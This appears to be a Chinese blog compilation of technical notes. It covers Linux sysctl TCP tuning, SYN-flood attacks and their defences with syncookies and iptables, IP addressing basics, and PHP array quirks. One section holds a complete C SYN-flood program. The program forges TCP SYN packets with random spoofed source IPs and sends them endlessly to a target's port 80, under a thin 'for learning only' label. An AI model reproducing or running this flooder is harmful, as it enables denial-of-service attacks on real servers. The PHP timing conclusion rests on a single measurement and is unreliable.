/etc/sysctl.conf 配置说明

 说明:
  net.ipv4.tcp_syncookies = 1 表示开启SYN Cookies。当出现SYN等待队列溢出时,启用cookies来处理,可防范少量SYN攻击,默认为0,表示关闭;
  net.ipv4.tcp_tw_reuse = 1 表示开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接,默认为0,表示关闭;
  net.ipv4.tcp_tw_recycle = 1 表示开启TCP连接中TIME-WAIT sockets的快速回收,默认为0,表示关闭。
  net.ipv4.tcp_fin_timeout = 30 表示如果套接字由本端要求关闭,这个参数决定了它保持在FIN-WAIT-2状态的时间。
  net.ipv4.tcp_keepalive_time = 1200 表示当keepalive起用的时候,TCP发送keepalive消息的频度。缺省是2小时,改为20分钟。
  net.ipv4.ip_local_port_range = 1024    65000 表示用于向外连接的端口范围。缺省情况下很小:32768到61000,改为1024到65000。
  net.ipv4.tcp_max_syn_backlog = 8192 表示SYN队列的长度,默认为1024,加大队列长度为8192,可以容纳更多等待连接的网络连接数。
  net.ipv4.tcp_max_tw_buckets = 5000 表示系统同时保持TIME_WAIT套接字的最大数量,如果超过这个数字,TIME_WAIT套接字将立刻被清除并打印警告信息。默认为180000,改为5000。对于Apache、Nginx等服务器,上几行的参数可以很好地减少TIME_WAIT套接字数量,但是对于Squid,效果却不大。此项参数可以控制TIME_WAIT套接字的最大数量,避免Squid服务器被大量的TIME_WAIT套接字拖死。

Linux sys-flood 小程序

 

注意:仅供学习之用

    

        

            

        

    

            

/******************** DOS.c *****************/
            #include <sys/socket.h>
            #include <netinet/in.h>
            #include <netinet/ip.h>
            #include <netinet/tcp.h>
            #include <stdlib.h>
            #include <errno.h>
            #include <unistd.h>
            #include <stdio.h>
            #include <netdb.h>
            
            #define DESTPORT 80 /* 要攻击的端口(WEB) */
            #define LOCALPORT 8888
            
            void send_tcp(int sockfd,struct sockaddr_in *addr);
            unsigned short check_sum(unsigned short *addr,int len);
            
            int main(int argc,char **argv)
            {
                int sockfd;
                struct sockaddr_in addr;
                struct hostent *host;
                int on=1;
            
                if(argc!=2)
                {
                    fprintf(stderr,"Usage:%s hostnamena",argv[0]);
                    exit(1);
                }
            
                bzero(&addr,sizeof(struct sockaddr_in));
                addr.sin_family=AF_INET;
                addr.sin_port=htons(DESTPORT);
            
                if(inet_aton(argv[1],&addr.sin_addr)==0)
                {
                    host=gethostbyname(argv[1]);
                    if(host==NULL)
                    {
                        fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));
                        exit(1);
                    }
                    addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
                }
            
                /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/
            
                sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
                if(sockfd<0)
                {
                    fprintf(stderr,"Socket Error:%sna",strerror(errno));
                    exit(1);
                }
                /******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/
            
                setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
            
                /**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
                setuid(getpid());
            
                /********* 发送炸弹了!!!! ****/
                send_tcp(sockfd,&addr);
            }
            
            
            
            /******* 发送炸弹的实现 *********/
            void send_tcp(int sockfd,struct sockaddr_in *addr)
            {
                char buffer[100]; /**** 用来放置我们的数据包 ****/
                struct ip *ip;
                struct tcphdr *tcp;
                int head_len;
            
                /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
            
                head_len=sizeof(struct ip)+sizeof(struct tcphdr);
            
                bzero(buffer,100);
            
                /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
                ip=(struct ip *)buffer;
                ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
                ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
                ip->ip_tos=0; /** 服务类型 **/
                ip->ip_len=htons(head_len); /** IP数据包的长度 **/
                ip->ip_id=0; /** 让系统去填写吧 **/
                ip->ip_off=0; /** 和上面一样,省点时间 **/
                ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
                ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
                ip->ip_sum=0; /** 校验和让系统去做 **/
                ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/
            
                /******* 开始填写TCP数据包 *****/
                tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
                tcp->source=htons(LOCALPORT);
                tcp->dest=addr->sin_port; /** 目的端口 **/
                tcp->seq=random();
                tcp->ack_seq=0;
                tcp->doff=5;
                tcp->syn=1; /** 我要建立连接 **/
                tcp->check=0;
            
            
                /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
                while(1)
                {
                    /** 你不知道我是从那里来的,慢慢的去等吧! **/
                    ip->ip_src.s_addr=random();
            
                    /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
                    /** 下面这条可有可无 */
                    tcp->check=check_sum((unsigned short *)tcp,
                            sizeof(struct tcphdr));
                    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
                }
            }
            
            /* 下面是首部校验和的算法,偷了别人的 */
            unsigned short check_sum(unsigned short *addr,int len)
            {
                register int nleft=len;
                register int sum=0;
                register short *w=addr;
                short answer=0;
            
                while(nleft>1)
                {
                    sum+=*w++;
                    nleft-=2;
                }
                if(nleft==1)
                {
                    *(unsigned char *)(&answer)=*(unsigned char *)w;
                    sum+=answer;
                }
            
                sum=(sum>>16)+(sum&0xffff);
                sum+=(sum>>16);
                answer=~sum;
                return(answer);
            }
            
            

            

TCP SYN Flood 攻击 及其简单防御

什麽是 TCP SYN Flood 攻击? 

 TCP SYN Flood是一种常见,而且有效的远端(远程)拒绝服务(Denial of Service)攻击方式,它透过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得提供TCP服务的主机系统无法正常工作。 由於TCP SYN Flood是透过网路底层对服务器Server进行攻击的,它可以在任意改变自己的网路IP地址的同时,不被网路上的其他设备所识别,这样就给防范网路犯罪部门追查犯罪来源造成很大的困难。 在国内内外的网站中,这种攻击屡见不鲜。在一个拍卖网站上,曾经有犯罪分子利用这种手段,在低价位时阻止其他用户继续对商品拍卖,干扰拍卖过程的正常运作。

如何判断?
一般情况下,可以一些简单步骤进行检查,来判断系统是否正在遭受TCP SYN Flood攻击。
1、 服务端无法提供正常的TCP服务。连接请求被拒绝或超时。
2、透过 netstat -an 命令检查系统,发现有大量的SYN_RECV连接状态。

 检查服务器链接,SYN_RECV状态最高时有200多个,访问服务器网页特别慢,甚至超时,所以基本判定是SYN_RECV攻击。
解决方法:
1,增加未完成连接队列(q0)的最大长度。
echo 1280>/proc/sys/net/ipv4/tcp_max_syn_backlog
2, 启动SYN_cookie。
echo 1>/proc/sys/net/ipv4/tcp_syncookies
这些是被动的方法,治标不治本。而且加大了服务器的负担,但是可以避免被拒绝攻击(只是减缓)
治本的方法是在防火墙上做手脚。但是现在能在一定程度上防住syn flood攻击的防火墙都不便宜。并且把这个命令加入"/etc/rc.d/rc.local"文件中

如果对 /proc/sys/net/ipv4 下的配置文件进行解释,可以参阅 LinuxAid技术站的文章。查看本文全文也可以参阅。
关于 syn cookies, 请参阅 :http://cr.yp.to/syncookies.html
也许 使用mod_limitipconn.c来限制apache的并发数 也会有一定的帮助。

2. iptables的设置,

防止同步包洪水(Sync Flood)
# iptables -A FORWARD -p tcp –syn -m limit –limit 1/s -j ACCEPT
也有人写作
#iptables -A INPUT -p tcp –syn -m limit –limit 1/s -j ACCEPT
–limit 1/s 限制syn并发数每秒1次,可以根据自己的需要修改
防止各种端口扫描
# iptables -A FORWARD -p tcp –tcp-flags SYN,ACK,FIN,RST RST -m limit –limit 1/s -j ACCEPT
Ping洪水攻击(Ping of Death)
# iptables -A FORWARD -p icmp –icmp-type echo-request -m limit –limit 1/s -j ACCEPT

IP地址基础

引言:

很惭愧自己是学习计算机的,多少年了都居然不知道A B C 类ip地址都保留了内网使用的ip,我突然发现如果外网有何局域网内相同ip的机器的话,那么外网 的机器将是访问不到的,这才知道了A B C 类ip地址都保留了内网使用的ip ,才醒悟为什么以前看到的局域网的ip地址总是192.168.*.*了,也终于明白了什么是公网ip和私有ip了,下面弄点IP的基础知识,给自己补一补:

 

IP简介

Internet 上的每台主机(Host)都有一个唯一的IP地址IP协议就是使用这个地址在主机之间传递信息,这是Internet 能够运行的基础。IP地址的长度为32位,分为4段,每段8位,用十进制数字表示,每段数字范围为0~255,段与段之间用句点隔开。例如159.226.1.1。IP地址有两部分组成,一部分为网络地址,另一部分为主机地址。IP地址分为A、B、C、D、E5类。常用的是B和C两类。ip地址就像是我们的家庭住址一样,如果你要写信给一个人,你就要知道他(她)的地址,这样邮递员才能把信送到,计算机发送信息是就好比是邮递员,它必须知道唯一的“家庭地址”才能不至于把信送错人家。只不过我们的地址使用文字来表示的,计算机的地址用十进制数字表示。

众所周知,在电话通讯中,电话用户是靠电话号码来识别的。同样,在网络中为了区别不同的计算机,也需要给计算机指定一个号码,这个号码就是“IP地址”。

什么是IP地址

所谓IP地址就是给每个连接在Internet上的主机分配的一个32bit地址。

按照TCP/IP(Transport Control Protocol/Internet Protocol,传输控制协议/Internet协议)协议规定,IP地址用二进制来表示,每个IP地址长32bit,比特换算成字节,就是4个字节。例如一个采用二进制形式的IP地址是“00001010000000000000000000000001”,这么长的地址,人们处理起来也太费劲了。为了方便人们的使用,IP地址经常被写成十进制的形式,中间使用符号“.”分开不同的字节。于是,上面的IP地址可以表示为“10.0.0.1”。IP地址的这种表示法叫做“点分十进制表示法”,这显然比1和0容易记忆得多。

有人会以为,一台计算机只能有一个IP地址,这种观点是错误的。我们可以指定一台计算机具有多个IP地址,因此在访问互联网时,不要以为一个IP地址就是一台计算机;另外,通过特定的技术,也可以使多台服务器共用一个IP地址,这些服务器在用户看起来就像一台主机似的。

将IP地址分成了网络号和主机号两部分,设计者就必须决定每部分包含多少位。网络号的位数直接决定了可以分配的网络数(计算方法2^网络号位数);主机号的位数则决定了网络中最大的主机数(计算方法2^主机号位数-2)。然而,由于整个互联网所包含的网络规模可能比较大,也可能比较小,设计者最后聪明的选择了一种灵活的方案:将IP地址空间划分成不同的类别,每一类具有不同的网络号位数和主机号位数。

如何分配IP地址

TCP/IP协议需要针对不同的网络进行不同的设置,且每个节点一般需要一个“IP地址”、一个“子网掩码”、一个“默认网关”。不过,可以通过动态主机配置协议(DHCP),给客户端自动分配一个IP地址,避免了出错,也简化了TCP/IP协议的设置。

那么,局域网怎么分配IP地址呢?互联网上的IP地址统一由一个叫“IANA”(Internet Assigned Numbers Authority,互联网网络号分配机构)的组织来管理。

IP是什么?

——IP是当前热门的技术。与此相关联的一批新名词,如IP网络、IP交换、IP电话、IP传真等等,也相继出现。那么,IP是什么呢?

——IP是英文Internet Protocol的缩写,意思是“网络之间互连的协议”,也就是为计算机网络相互连接进行通信而设计的协议。在因特网中,它是能使连接到网上的所有计算机网络实现相互通信的一套规则,规定了计算机在因特网上进行通信时应当遵守的规则。任何厂家生产的计算机系统,只要遵守IP协议就可以与因特网互连互通。正是因为有了IP协议,因特网才得以迅速发展成为世界上最大的、开放的计算机通信网络。因此,IP协议也可以叫做“因特网协议”。

——IP是怎样实现网络互连的?各个厂家生产的网络系统和设备,如以太网、分组交换网等,它们相互之间不能互通,不能互通的主要原因是因为它们所传送数据的基本单元(技术上称之为“帧”)的格式不同。IP协议实际上是一套由软件程序组成的协议软件,它把各种不同“帧”统一转换成“IP数据报”格式,这种转换是因特网的一个最重要的特点,使所有各种计算机都能在因特网上实现互通,即具有“开放性”的特点。

——那么,“数据报”是什么?它又有什么特点呢?数据报也是分组交换的一种形式,就是把所传送的数据分段打成“包”,再传送出去。但是,与传统的“连接型”分组交换不同,它属于“无连接型”,是把打成的每个“包”(分组)都作为一个“独立的报文”传送出去,所以叫做“数据报”。这样,在开始通信之前就不需要先连接好一条电路,各个数据报不一定都通过同一条路径传输,所以叫做“无连接型”。这一特点非常重要,它大大提高了网络的坚固性和安全性。

——每个数据报都有报头和报文这两个部分,报头中有目的地址等必要内容,使每个数据报不经过同样的路径都能准确地到达目的地。在目的地重新组合还原成原来发送的数据。这就要IP具有分组打包和集合组装的功能。

——在实际传送过程中,数据报还要能根据所经过网络规定的分组大小来改变数据报的长度,IP数据报的最大长度可达65535个字节。

——IP协议中还有一个非常重要的内容,那就是给因特网上的每台计算机和其它设备都规定了一个唯一的地址,叫做“IP地址”。由于有这种唯一的地址,才保证了用户在连网的计算机上操作时,能够高效而且方便地从千千万万台计算机中选出自己所需的对象来。

——现在电信网正在与IP网走向融合,以IP为基础的新技术是热门的技术,如用IP网络传送话音的技术(即VoIP)就很热门,其它如IP over ATM、IPover SDH、IP over WDM等等,都是IP技术的研究重点。
IP地址类型

    最初设计互联网络时,为了便于寻址以及层次化构造网络,每个IP地址包括两个标识码(ID),即网络ID和主机ID。同一个物理网络上的所有主机都使用同一个网络ID,网络上的一个主机(包括网络上工作站,服务器和路由器等)有一个主机ID与其对应。IP地址根据网络ID的不同分为5种类型,A类地址、B类地址、C类地址、D类地址和E类地址。

IP地址分类

1.A类IP地址

一个A类IP地址由1字节的网络地址和3字节主机地址组成,网络地址的最高位必须是“0”, 地址范围从0.0.0.1 到126.0.0.0。可用的A类网络有126个,每个网络能容纳1亿多个主机。

2.B类IP地址

一个B类IP地址由2个字节的网络地址和2个字节的主机地址组成,网络地址的最高位必须是“10”,地址范围从128.0.0.0到191.255.255.255。可用的B类网络有16382个,每个网络能容纳6万多个主机 。

3.C类IP地址

一个C类IP地址由3字节的网络地址和1字节的主机地址组成,网络地址的最高位必须是“110”。范围从192.0.0.0到223.255.255.255。C类网络可达209万余个,每个网络能容纳254个主机。

4.D类地址用于多点广播(Multicast)。

D类IP地址第一个字节以“lll0”开始,它是一个专门保留的地址。它并不指向特定的网络,目前这一类地址被用在多点广播(Multicast)中。多点广播地址用来一次寻址一组计算机,它标识共享同一协议的一组计算机。

5.E类IP地址

以“llll0”开始,为将来使用保留。

全零(“0.0.0.0”)地址对应于当前主机。全“1”的IP地址(“255.255.255.255”)是当前子网的广播地址。

IP地址是由什么机构分配的?

  所有的IP地址都由国际组织NIC(Network Information Center)负责统一分配,目前全世界共有三个这样的网络信息中心。

  InterNIC:负责美国及其他地区;

  ENIC:负责欧洲地区;

  APNIC:负责亚太地区。

  我国申请IP地址要通过APNIC,APNIC的总部设在日本东京大学。申请时要考虑申请哪一类的IP地址,然后向国内的代理机构提出。

什么是公有地址私有地址?

  公有地址(Public address)由Inter NIC(Internet Network Information Center 因特网信息中心)负责。这些IP地址分配给注册并向Inter NIC提出申请的组织机构。通过它直接访问因特网。

  私有地址(Private address)属于非注册地址,专门为组织机构内部使用。

  以下列出留用的内部私有地址
  A类 10.0.0.0–10.255.255.255
  B类 172.16.0.0–172.31.255.255
  C类 192.168.0.0–192.168.255.255

保留IP地址

    最初设计互联网络时,为了便于寻址以及层次化构造网络,每个IP地址包括两个标识码(ID),即网络ID和主机ID。同一个物理网络上的所有主机都使用同一个网络ID,网络上的一个主机(包括网络上工作站,服务器和路由器等)有一个主机ID与其对应。IP地址根据网络ID的不同分为5种类型,A类地址、B类地址、C类地址、D类地址和E类地址。
查找Ip有个cmd命令:tracert 后面加ip地址,可以查所经过的路由!

Ubuntu 操作系统的安装

从PHP数组求差想到的

 

版本一:

    

        

            

        

    

            

function array_diff($array_1, $array_2) {
                $diff = array();
            
                foreach ($array_1 as $k => $v1) {
                    $flag = false;
                    foreach ($array_2 as $v2) {
                        if ($flag = ($v1 == $v2)) {
                            break;
                        }
                    }
            
                    if (!$flag) {
                        $diff[$k] = $v1;
                    }
                }
            
                return $diff;
            }
            

            

 

版本 二

    

        

            

        

    

            

function array_diff($array_1, $array_2) {
                foreach ($array_1 as $key => $item) {
                    if (in_array($item, $array_2, true)) {
                        unset($array_1[$key]);
                    }
                }
            
                return $array_1;
            }

            

版本 三

    

        

            

        

    

            

function array_diff($array_1, $array_2) {
                $array_2 = array_flip($array_2);
                foreach ($array_1 as $key => $item) {
                    if (isset($array_2[$item])) {
                        unset($array_1[$key]);
                    }
                 }
            
                return $array_1;
            }
            

            

 

 

最后,让我们比较一下isset 与array_key_exists 的效率吧:

查找一个存在的key

    

        

            

        

    

            

//isset 与 array_key_exitsts的比较
            
            for($i = 0 ;$i< 100000;$i++){
                $arr['a'.$i] = 'A'.$i;
            }
            
            $time = microtime(1);
            $a = isset($arr['a50000']);
            $t1 = microtime(1) - $time;
            
            $time = microtime(1);
            $a = array_key_exists('a50000',$arr);
            $t2 = microtime(1) - $time;
            
            echo $t1;
            echo "\n";
            echo $t2;
            
            
            exit;

            

输出:

 ———-PHP代码调试 ———-
4.10079956055E-005
1.4066696167E-005
输出完成 (耗时 5 秒) – 正常终止

 

查找一个不存在的:

    

        

            

        

    

            

//isset 与 array_key_exitsts的比较
            
            for($i = 0 ;$i< 100000;$i++){
                $arr['a'.$i] = 'A'.$i;
            }
            
            $time = microtime(1);
            $a = isset($arr['a50000000000']);
            $t1 = microtime(1) - $time;
            
            $time = microtime(1);
            $a = array_key_exists('a50000000000',$arr);
            $t2 = microtime(1) - $time;
            
            echo $t1;
            echo "\n";
            echo $t2;
            
            
            exit;

            

输出:

 ———-PHP代码调试 ———-
4.31537628174E-005
1.19209289551E-005
输出完成 (耗时 0 秒) – 正常终止

 

结论:数组中检查一个key是否存在时,用array_key_exists 比 isset 要快的多,特别是出来的数组很大时,至于个中缘由,有待进一步研究

做‘访问来源统计’是发现的一个小问题

我想用<script src = ‘a.php’></script> 放到每页的头部,来通过a.php来统计每页的来源,结果用$_SERVER[‘HTTP_REFERER’];记录的都是本页的url,原来我不是直接访问的a.php,而是通过script标签的src属性,script标签是本页的,读取a.php时,将本页的url作为referer提交给了服务器,所以不能用这个方法来统计页面的访问来源。

isset() 和PHP数组

PHP中原来有人使用empty函数时就没有考虑到数字0也是empty的,单凭简单的“认为”就难免会出一些意想不到的bug,于是我就倾向于使用isset函数,没想到isset函数也有我想不到的情况,举个例子:

<?php

$arr[‘a’] = "A";
$arr[‘a’][‘b’] = "B"; //这时 $arr[‘a’] = "A"; 已经被覆盖了,
echo isset($arr[‘a’][‘c’]);

?>

输出为:
1

怎么回事呢?
测试发现,不但isset($arr[‘a’][‘c’]) 为真,如果echo $arr[‘a’][‘c’]; 的话,结果还是B呢!
因为在php这种弱类型语言中,key ‘c’ 不存在时,试图转换为数字索引了,转换后就是索引0了,而key ‘b’ 对应的数字索引就是0,所以$arr[‘a’][‘c’] 就成 $arr[‘a’][‘b’] 了,但是如果用is_array()测试,我们将发现$arr 是数组,而$arr[‘a’] 不是数组,所以用array_key_exists() 来查找$arr[‘a’] 中的key ‘b
‘ 是否存在的话讲返回false;

再看看这个:

    

        

            

        

    

            

echo 'when $arr like array';
            echo "\n";
            $arr['a'] = "A";
            $arr['a']['b'] = "B";
            
            echo '$arr is array ? '.is_array($arr);
            echo "\n";
            echo '$arr["a"] is array ? '.is_array($arr['a']);
            echo "\n";
            
            echo isset($arr['a']['c']);
            echo "\n";
            echo $arr['a'];
            echo "\n";
            echo $arr['a']['c'];
            echo "\n";
            
            echo 'when $a is string';
            echo "\n";
            $a = 'abcde';
            echo 'isset($a["c"]):'.isset($a['c']);
            echo "\n";
            echo $a['c'];
            echo "\n";
            
            echo 'when $a is array';
            echo "\n";
            $a = array('a' =>'A');
            echo 'isset($a["c"]):'.isset($a['c']);
            echo "\n";
            echo $a['c'];
            
            
            
            exit;

            

 

输出:

———-PHP代码调试 ———-
when $a like array
$arr is array ? 1
$arr["a"] is array ?
1
B
B
when $a is string
isset($a["c"]):1
a
when $a is array
isset($a["c"]):

输出完成 (耗时 0 秒) – 正常终止

其实: 上面混淆的字符串数组
对于 $arr = array(‘a’=>’A’);
1. $arr 是数组,isset($arr[‘b’]); 为假,用array_key_exists测试key ‘b’ 也是不存在的
2. $arr[‘a’] 是字符串,isset($arr[‘a’][‘b’]); 则’b’视为字符串的下标(不是数组的下标),一定要转成数字,于是转成了0,于是$arr[‘a’][‘b’]就是存在的了,不妨测试一下,如果$arr[‘a’] 为”,则isset($arr[‘a’][‘b’]); 就为假了。而且因为$arr[‘a’]根本就不是数组,所以用array_key_exists测试key ‘b’  肯听返回false了。

结论:所以isset没有问题,array_key_exists 也没有问题,问题就在于把字符串数组 混淆了

不管$arr 原来是什么,只要$arr和一个下标一个被赋值了(如:$arr[‘a’] = ‘A’;)那么$arr 就是数组;

但是,如果因为$arr 可以和一个下标一起使用,就说明$arr 是数组,就打错特错了